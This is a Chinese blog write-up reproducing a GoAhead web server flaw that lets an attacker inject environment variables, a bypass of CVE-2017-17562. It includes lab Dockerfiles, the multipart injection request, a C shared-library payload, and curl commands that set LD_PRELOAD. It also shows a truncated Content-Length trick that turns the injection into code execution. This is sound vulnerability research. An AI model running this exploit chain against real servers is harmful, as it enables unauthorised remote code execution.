GoAhead环境变量注入复现踩坑记

昨天关注到了GoAhead的环境变量注入漏洞,主要是下面这两篇文章:

实际上已经是几个月前的漏洞了,但是因为这段时间漏洞管制比较严格,导致信息闭塞了不少,才进行了复现。

漏洞原理

GoAhead曾经出现过一次环境变量注入漏洞,建议先看下Vulhub中相关的漏洞环境与描述:GoAhead Web Server HTTPd ‘LD_PRELOAD’ Remote Code Execution (CVE-2017-17562)

这个老漏洞的原理也很简单,就是GoAhead在处理CGI请求时,将用户传入的的参数作为环境变量了。这样,通过LD_PRELOAD就可以劫持CGI进程的动态链接库,进而执行任意代码。

今天这个漏洞实际上是对老漏洞的一次绕过,漏洞原理不是本文重点,我用两段简单的文字进行描述:

  • 补丁对用户传入参数进行了黑名单过滤,LD_PRELOAD这类参数不再设置为环境变量。但由于这个限制使用错了函数,导致实际上并没有生效(这就是不写单元测试的后果,但换句话说,又有多少漏洞POC是从单元测试里泄露的?)
  • 补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量。但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量

环境搭建

说个趣事,GoAhead官方Embedthis曾在今年或者去年的时候把自己旗下的几个开源项目,包括GoAhead、AppWeb等直接从Github删掉了,在官网上只留了最新版源码下载,如果需要下载旧版得成为付费用户,大有转开源为闭源的趋势。但是没想到昨天重新打开Github一看,诶,项目又回来了,只不过所有的star都遗失了,有点可惜。

说回来,GoAhead的优点是非常轻量,编译几乎不需要额外的第三库,我们下载gcc、make等工具编译即可,我直接将Vulhub中旧版本的Dockerfile拿来改下版本号:

FROM debian:buster

LABEL maintainer="phithon <[email protected]>"

RUN set -ex \
    && apt-get update \
    && apt-get install wget make gcc -y \
    && wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
    && cd /usr/src \
    && make \
    && make install \
    && cp src/self.key src/self.crt /etc/goahead/ \
    && mkdir -p /var/www/goahead/cgi-bin/ \
    && apt-get purge -y --auto-remove wget make gcc \
    && cd /var/www/goahead \
    && rm -rf /usr/src/ /var/lib/apt/lists/* \
    && sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt

CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]

另外还有一点要注意的是,今年五月份GoAhead默认将CGI相关的配置注释了

这也是这个漏洞的第一个坑:新版本的GoAhead默认没有开启CGI配置,而老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响。所以并不像某些文章里说的那样影响广泛。

我将CGI相关的配置去掉注释并配置好,编译很顺利就通过了。此时我们就可以把这个Docker镜像跑起来:

docker run -d -it --name web -p 8080:80 -v `pwd`:/var/www/goahead/cgi-bin vulhub/goahead:5.1.4

然后我们再在当前目录下增加一个cgi文件,比如test,并增加执行权限:

#!/bin/bash

echo -e "Content-Type: text/plain\n"
env

访问输出当前的env,说明成功部署并解析完成了:

image.png

但是我后文会讲,这样搭建的环境实际上是有坑的。

漏洞复现

首先我们来尝试看是否可以注入环境变量。从原理上来看,实际上就是发送一个multipart数据包,就可以通过表单来注入环境变量,所以我们尝试发送如下数据包:

POST /cgi-bin/test HTTP/1.1
Host: 192.168.1.112:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 145

------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="LD_PRELOAD"

test
------WebKitFormBoundarylNDKbe0ngCGdEiPM--

可见,环境变量LD_PRELOAD注入成功了,漏洞确实存在:

image.png

到这一步一切比较顺利。

漏洞利用

文件上传目录配置

注入环境变量的目的当然是利用漏洞,做到任意代码执行。但是我们看老的漏洞CVE-2017-17562,当时是将LD_PRELOAD设置成标准输入,即LD_PRELOAD=/proc/self/fd/0。因为在CGI中POST Body就是标准输入,所以正好可以将劫持的so文件放在Body中发送,完成利用。

但这次我们需要在Body中发送multipart表单,自然不能再用这种方法。

我们的目的是在服务器上上传一个可控内容的文件,然后将环境变量LD_PRELOAD设置为这个文件的路径,这样来劫持动态链接库。很容易想到另一个方法就是通过上传文件的形式来创建文件。

和PHP一样,GoAhead在遇到上传表单的时候,会先将这个上传的文件保存在一个临时目录下,待脚本程序处理完成后删掉这个临时文件。

我们尝试发送一个文件上传数据包:

image.png

但发现直接爆500了,查看日志,错误信息是:

goahead: 2: POST /cgi-bin/test HTTP/1.1
goahead: 2: Cannot open upload temp file tmp/tmp-1.tmp

失败原因是无法写入临时文件tmp/tmp-1.tmp。我们查看GoAhead源码可以发现其中对上传目录有这样一个配置:

#ifndef ME_GOAHEAD_UPLOAD_DIR
    #define ME_GOAHEAD_UPLOAD_DIR "tmp"
#endif

PUBLIC void websUploadOpen(void)
{
    uploadDir = ME_GOAHEAD_UPLOAD_DIR;
    if (*uploadDir == '\0') {
#if ME_WIN_LIKE
        uploadDir = getenv("TEMP");
#else
        uploadDir = "/tmp";
#endif
    }
    trace(4, "Upload directory is %s", uploadDir);
    websDefineHandler("upload", 0, uploadHandler, 0, 0);
}

如果宏ME_GOAHEAD_UPLOAD_DIR没有定义,则将其定义为tmp。然后将其赋值给uploadDir,ME_GOAHEAD_UPLOAD_DIR一定不是空字符串,所以上传目录就是tmp

很明显这是个相对路径,相对于的是当前目录,当前目录是在启动GoAhead的时候用--home参数指定的,是存放配置文件的目录,在我这里就是/etc/goahead

也就是说,临时文件是存放在/etc/goahead/tmp这个目录下的,如果这个目录不存在或者不可写,那么就会出现上传时500。

这就是第二个坑:因为很多IOT设备并没有文件上传的需求,也就没有好好配置这个目录,导致实际上攻击者无法通过文件上传的方式向目标写入任意文件,也就无法完成攻击。

作为开发者,我们当然可以解决这个问题,有两种方法:

  • 创建/etc/goahead/tmp目录并设置写权限
  • 在编译GoAhead的时候指定ME_GOAHEAD_UPLOAD_DIR参数,修改临时目录路径

我使用的第二种方法,修改Dockerfile如下:

FROM debian:buster

LABEL maintainer="phithon <[email protected]>"

RUN set -ex \
    && apt-get update \
    && apt-get install wget make gcc -y \
    && wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
    && cd /usr/src \
    && make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \
    && make install \
    && cp src/self.key src/self.crt /etc/goahead/ \
    && mkdir -p /var/www/goahead/cgi-bin/ \
    && apt-get purge -y --auto-remove wget make gcc \
    && cd /var/www/goahead \
    && rm -rf /usr/src/ /var/lib/apt/lists/* \
    && sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt

EXPOSE 80
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]

设置参数的方法是在make命令后面增加参数(这几层引号与引号的转义也是大坑,本文不细讲):

make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"

这时候再上传文件就不会出错了:

image.png

Too Big

那么,我们按照文章中的方法复现这个漏洞试试。

首先,本地写一个劫持LD_PRELOAD的动态链接库:

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello: World\r\n\r\n", 16);
    write(1, "Hacked\n", 7);
}

编译:

gcc -shared -fPIC ./payload.c -o payload.so

然后我们发送POST数据包:

curl -v -F data=@payload.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.1.112:8080/cgi-bin/test

先不说能不能执行命令了,整个HTTP连接直接被切断了:

image.png

我们查看日志信息,可见报了一个Too big错误:

web_1  | goahead: 2: POST /cgi-bin/test HTTP/1.1
web_1  | goahead: 2: Too big

这个错误信息比较粗糙,我们可以在代码里搜索一下Too big这个关键词,看看是哪里出错了:

if (strcmp(key, "content-length") == 0) {
  if ((wp->rxLen = atoi(value)) < 0) {
    websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Invalid content length");
    return;
  }
  if (smatch(wp->method, "PUT")) {
    if (wp->rxLen > ME_GOAHEAD_LIMIT_PUT) {
      websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Too big");
      return;
    }
  } else {
    if (wp->rxLen > ME_GOAHEAD_LIMIT_POST) {
      websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Too big");
      return;
    }
  }
  if (!smatch(wp->method, "HEAD")) {
    wp->rxRemaining = wp->rxLen;
  }
}

原来是数据包过大,超过了ME_GOAHEAD_LIMIT_POST的大小导致报错了。

我们看看ME_GOAHEAD_LIMIT_POST默认值是多少:

#ifndef ME_GOAHEAD_LIMIT_POST
    #define ME_GOAHEAD_LIMIT_POST 16384
#endif

默认最大支持16384个字节,其实挺小的。作为开发者,我们同样可以通过在make的时候修改这个值,但是作为攻击者,只能修改我们自己的攻击载荷,让其不要”超标“。

这就是第三个坑:攻击时使用的动态链接库不能过大,否则可能导致服务端出错,直接断开链接。

我们可以在gcc的时候增加-s参数来缩小payload体积:

gcc -s -shared -fPIC ./payload.c -o payload.so

优化过的payload只有14416字节,可以达标了。

找不到文件描述符

重新使用新的payload.so发送数据包:

curl -v -F data=@payload.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.1.112:8080/cgi-bin/test

但我尝试了从4开始到100所有的文件描述符,都无法完成劫持,查看日志无非是如下几种错误:

  • ERROR: ld.so: object '/proc/self/fd/7' from LD_PRELOAD cannot be preloaded (file too short): ignored.
  • ERROR: ld.so: object '/proc/self/fd/5' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
  • ERROR: ld.so: object '/proc/self/fd/2' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.

按照原文章中的方法,这个漏洞完全利用不了。

那么我们来研究研究原因。我们修改test cgi脚本,让其输出一下/proc/self/fd/下的文件和/tmp/下的文件:

#!/bin/bash

echo -e "Content-Type: text/html\n";

ls -al /proc/self/fd/
ls -al /tmp/

发送一个上传包:

image.png

可见,tmp目录下成功写入了临时文件tmp-22.tmp,但在/proc/self/fd/目录下没有相关的文件描述符。

我没有调试代码,无法肯定导致这个问题的原因。但有一种可能,就是在执行到CGI这里的时候,被打开的临时文件描述符其实已经被关闭了。这就是我遇到的第四个坑。

找到可包含的文件

那么我们如果想要利用这个漏洞,就必须找到可以被包含的文件,从上面的测试过程可以发现,临时文件其实已经被写入了,只不过其中文件名包含一个从0开始递增的数字,我们需要进行爆破。

而且爆破的请求本身也会导致这个数字继续上涨,这个过程十分不稳定,所以自然也不建议利用这个文件。

我们还是看回到文件描述符,什么情况下我们可以让这个文件描述符不要关闭?

我想到一种方法,就是在文件没有上传完成的时候,这个文件描述符不会被关闭。那么如何做点这一点呢?有两种方法:

  • 使用两个线程,线程一流式缓慢上传文件,线程二使用LD_PRELOAD包含这个文件
  • 给payload.so文件内容后增加一些脏字符,并将HTTP的Content-Length设置成小于最终的数据包Body大小。这样,GoAhead读取数据包的时候能够完全读取到payload.so的内容,但实际这个文件并没有上传完毕

第二种方法不需要用到线程或竞争,一个数据包可以搞定,甚至不需要写代码,所以我通过第二种方法来利用。

首先构造好之前那个无法利用的数据包,其中第一个表单字段是LD_PRELOAD,值是文件描述符,一般是/proc/self/fd/7。然后我们需要改造这个数据包:

  • 给payload.so文件末尾增加几千个字节的脏字符,比如说a
  • 关掉burpsuite自动的“Update Content-Length”
  • 将数据包的Content-Length设置为不超过16384的值,但需要比payload.so文件的大小要大个500字节左右,我这里设置为15000

image.png

发送这个数据包,就可以成功劫持到LD_PRELOAD

image.png

这里的原理其实就是,pyaload.so加上后面的脏字符构造的数据包实际大小比Content-Length大,导致上传实际上只上传了一半,保存在临时文件中的是完整的payload.so和一些脏字符。

由于上传流程没有结束,所以此时文件描述符是没有关闭的,可以通过/proc/self/fd/7读取到,脏字符也不影响动态链接库的加载和运行,最后即可成功完成劫持。

后记

这个漏洞踩坑了一晚上,最后仍然没能复现原始文章中直接包含文件描述符的方法,但通过上传一个“不完整”的数据包间接达到了这个目的,完成了攻击流程。

至于PBCTF 2021 – RCE 0-Day in Goahead Webserver文章中介绍的注入其他环境变量来getshell的方法,虽不通用也很有趣,大家可以自行学习。

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论